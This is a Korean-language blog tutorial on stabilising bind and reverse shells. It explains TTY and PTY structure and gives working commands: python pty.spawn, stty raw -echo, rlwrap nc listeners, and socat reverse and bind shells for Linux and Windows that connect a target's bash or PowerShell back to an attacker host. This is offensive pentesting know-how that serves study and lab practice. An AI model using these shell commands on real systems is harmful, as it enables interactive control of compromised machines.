Bind/Reverse Shell Stabilisation

KyungH·2025년 4월 24일

Cyber-Security

목록 보기
32/32

📝바인드/리버스 셸 안정화

MSFvenon & Handler - Reverse에서 리버스 셸과 바인드 셸의 기본 개념 및
msfvenom 페이로드를 활용하여 Metasploit의 Handler를 통해 리버스 셸을
획득하는 과정을 설명하였다

위 과정을 통해 얻은 Metasploit의 Meterpreter셸은 향상된 셸로, 완전한 안정화를
이룰 수도 있으나, 대부분의 취약점을 통해 얻은 바인드/리버스 셸은 매우 제한적인
환경으로, 여러 기능에 제한이 생길 수 있다

  • clear, vim, ssh 등 상호작용이 필요한 명령어의 화면 깨짐
  • 방향키 입력 시 이상한 문자 출력
  • Ctrl+C, Tab, Backspace가 정상 작동하지 않음

이러한 제한이 생기는 이유는 연결한 터미널의 문제에서 시작된다. 이 글에서는
터미널과 셸의 구조를 통해 바인드/리버스 셸을 얻었을 경우에 생기는 문제점,
해당 문제점을 해결하기 위해 강제로 셸을 안정화 시키는 방법에 대해 소개하겠다


📌터미널이란?

아주 예전에는 단순하게 사람과 컴퓨터를 이어주는 물리 장치로, 키보드와 출력장치로
구성되어 명령을 주고받는 작업을 수행했었다. 중앙 컴퓨터에 여러 개의 물리적인
터미널을 연결해서 사용했으며, 이 물리 장치들은 모니터 + 키보드로 구성되어
단순 입출력만을 지원했다. 이를 TTY(Teletypewriter)라고 한다

그러나 현재의 터미널은 GUI 환경에서 동작하는 "터미널 에뮬레이터"로,
우리는 키보드로 명령을 입력하고 그 결과를 터미널 창에서 확인한다.
이는 소프트웨어를 기반으로 만들어진 "가짜 터미널"로 현재 우리가
흔히 알고있는 대부분의 시스템에서 사용하는 터미널의 형태를 말한다.
이 가상의 터미널을 PTY(Pseudo Terminal)라고 부른다

우리가 시스템에서 터미널을 통해 bash같은 셸을 실행시키면, 이 프로세스의
stdin, stdout, stderr은 모두 "현재 터미널"을 가리키며 연결되고,
여기서 말한 "현재 터미널"은 /dev/tty로, 심볼릭 링크로 사용된다.
즉, tty는 현대적으로는 현재 사용하고 있는 터미널을 의미한다고 볼 수 있다


📌PTY

우리가 사용하는 터미널인 PTY의 구조를 살펴보면, 각각 Master와 Slave로 나누어진다.

  • PTY Master : 사용자의 입력을 받는 장치로 터미널 애뮬레이터와 연결된다
    (ex. ssh 서버나 다른 프로그램의 명령을 최초로 받는다)

  • PTY Slave : 셸 프로세스와 연결되어 사용자 입출력을 처리하는 장치

즉, 우리가 사용하는 bash -lislave쪽에 붙어 사용자의 입력값을 처리하며
출력값 또한 확인하고, 외부의 프로그램은 Master와 붙어 Slave와 소통하면서
데이터를 받을 수 있다

사용자 입력 <-> 터미널 에뮬레이터 <-> PTY Master <-> PTY Slave <-> bash 

위에서 얘기한 현재 터미널을 뜻하는 /dev/tty는 실제 TTY(/dev/tty/X)일
수도 있고, PTY Slave(/dev/pts/X)일 수도 있다

결국 PTY는 물리적인 장치 없이도 터미널 세션을 관리하며
우리가 사용하는 터미널이 TTY 장치처럼 보이게 만들어준다


📌Shell Stabilisation

이제 이 글의 주제인 셸의 안정화에 대해 살펴보겠다. 우리가 타겟으로부터
기본적으로 얻은 바인드/리버스 셸은 Non-Interactive 한 상태로, 위에서 말한
여러 명령어 및 키보드 입력의 상호작용 문제점이 발생한다

그렇기에 이런 불완전한 셸을 완전한 하나의 완전한 터미널로 사용하기 위해
앞에서 살펴봤던 터미널의 구조에서 필요한 요소들을 강제로 추가해
서로 붙여주는 방식으로 안정화를 진행한다

Python

python3 -c 'import pty;pty.spawn("/bin/bash")'

해당 방법은 타겟이 Linux일 경우에만 사용가능하며, Python이 설치되어있어야 한다.
공격자의 머신에서 바인드나 리버스 셸에 접근한 후 이는 매우 불안정한 상태로 존재,
위 명령은 pty.spawn("/bin/bash")를 통해 가상 터미널(PTY)을 생성하여 해당
터미널이 /bin/bash를 실행하도록하여 셸에게 PTY Slave를 붙여주었다

이후 Ctrl + Z로 해당 세션을 백그라운드로 일시 중지시키고 다시 공격자의
로컬 터미널에서 설정을 바꾼다. 공격자의 터미널 설정은 stty로 바꿀 수 있으며,
다음을 설정한다 stty raw -echo

공격자의 머신에서 피해자의 머신으로 입력값이 제대로 전달되기 위해선,
공격자의 머신이 여러 특수키들을 해석하지 않고 그대로 보내야만 한다
(ex. Ctrl + C를 로컬에서 처리하면 연결이 바로 끊김, 전달 불가)

위 설정은 현재 터미널에서 입출력을 가공하지 않고서 Ctrl + C, 백스페이스
등의 특수키를 그대로 전달해 처리하지 않도록 하고 -echo로 입력한 명령어가
공격자의 화면에서 중복으로 보이지 않게 한다

이후 다시 피해자의 세션을 fg를 통해 포그라운드로 가져온 후
피해자의 머신에서 환경변수 설정을 다음과 같이 바꾼다 export TERM=xterm

TERM은 현재 사용하는 터미널의 종류를 알려주는 변수로, 이를 대부분의
터미널이 지원하는 표준 타입인 "xterm"으로 설정하여 vi, top, clear 등의
명령어가 정상 작동할 수 있도록 한다

위 방법은 얻은 셸의 출력을 더 깔끔하고 보기 쉽게만들수 있으나, 자동완성이나
위/아리 화살표 기능은 제공하지 않는다

rlwrap

Tab을 통한 자동완성 및 히스토리 저장기능을 사용하기 위해 rlwrap을 공격자의
머신에 설치한 후 rlwrap nc -lvnp PORT로 리스너를 연다. 해당 리스너를 통해
얻은 셸은 더 많은 기능을 제공하며 윈도우 기반 셸을 처리할 때 효과적으로
사용될 수 있다. Linux에서는 거의 완벽하게 안정화를 시킬 수 있으며,
위에서 수행한 방법대로 stty raw -echo; fg를 사용하여 얻을 수 있다

Socat

Netcat의 강화버전으로, netcat의 모든 기능을 수행하면서 추가적인 기능을
제공한다. Netcat의 셸보다는 안정적이며, 성능도 더 좋다. 그러나 비교적 어려운
문법과 기본적으로 시스템에 설치되지 않은 단점이 존재한다

Reverse Shell

Socat을 사용한 리버스 셸의 리스너는 다음을 통해 구성할 수 있다
socat TCP-L:<port> -

Linux에서는 다음 명령을 타겟에서 실행한다
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash - li"

Windows에서 다음 명령을 타겟 시스템에서 실행하여 리버스 셸을 호출할 수 있다
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes 옵션은 파워셸이 유닉스 스타일의 입출력을 사용하도록 강제한다

Bind Shell

타겟에 상관없이 다음 명령어를 통해 타겟에 실행된 리스너로 접근한다
socat TCP:<TARGET-IP>:<TARGET-PORT> -

Linux에서 다음을 통해 바인드 셸을 실행한다
socat TCP-L:<PORT> EXEC:"bash -li"

Windows에서 다음을 통해 타겟에서 리스너를 설정한다
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

⭐Socat (Fully Stable Linux TTY Reverse Shell)

Socat의 가장 강력한 기능 중 하나로, Linux가 타겟일 때에만 사용할 수 있다.
다른 리버스 셸과 비교하였을 때 매우 안정적인 상태로 유지되며, 자주 사용하는
강력한 기능 중 하나이다

socat TCP-L:<PORT> FILE:'tty',raw,echo=0

공격자의 머신에서 실행하며 현재 공격자의 터미널인 tty와 리스닝 포트와의
양방향 연결을 구현한다. raw와 echo=0을 통해 깔끔한 정보 전달을 구현하였다

이렇게 실행한 리스너는 타겟 역시 socat 명령어를 통해 접속해야만 실행될 수
있으며, 대부분의 머신들은 socat이 설치되어있지 않기 때문에
Precompiled Socat Binary”를 업로드하여 타겟에서 실행시킬 수 있다

socat TCP:<atk-ip>:<port> EXEC: "bash -li",pty,stderr,sigint,setsid,sane

위 명령어는 타겟에서 실행되는 명령어로, interactive bash 세션을 실행하여
다음 옵션과 함께 공격자의 TCP 소켓으로 전송한다.

  • pty : 가상 터미널, bash와 연결되어 bash가 실제 터미널로 인식하도록 함
  • stderr : 에러 메시지를 셸에 띄움으로써 모든 정보 제공
  • sigint : Ctrl + C를 통과시켜 셸 내부 프로세스에 인터럽트 할 수 있도록 함
  • setsid : 새로운 세션으로 프로세스 시작
  • sane : 터미널 안정화, 정상화 작업

위 과정을 통해 얻은 셸은 완전한 Interactive 셸이 되며, SSH/vim과 같은
상호작용이 필요한 모든 명령어를 올바르게 실행시킬 수 있다


Conclusion

PTY를 사용한 현대 터미널의 구조, TTY의 의미가 예전에는 물리적 장치를 뜻했으나
현재는 하나의 심볼릭 링크로 자리잡은 변화, 이들을 이용하여 바인드/리버스 셸을
획득했을 때 Interactive한 셸로 만들기 위해 필요한 명령들을 설명하였다

리버스와 바인드 셸은 타겟 머신에 원격 코드 실행 취약점(RCE)을 악용하는 데
있어 필수적인 기술이다. 그러나 얻은 원격 셸은 정상적인 셸보다 기능이 부족하고
떨어질수밖에 없다

그럼에도 불구하고 이 방법을 확장하여 타겟에 권한을 얻는 것이
추가적인 취약점을 발견해서 악용하는 것보다 훨씬 쉽기 때문에
이는 꼭 활용할 줄 알아야하는 필수 기술이다

0개의 댓글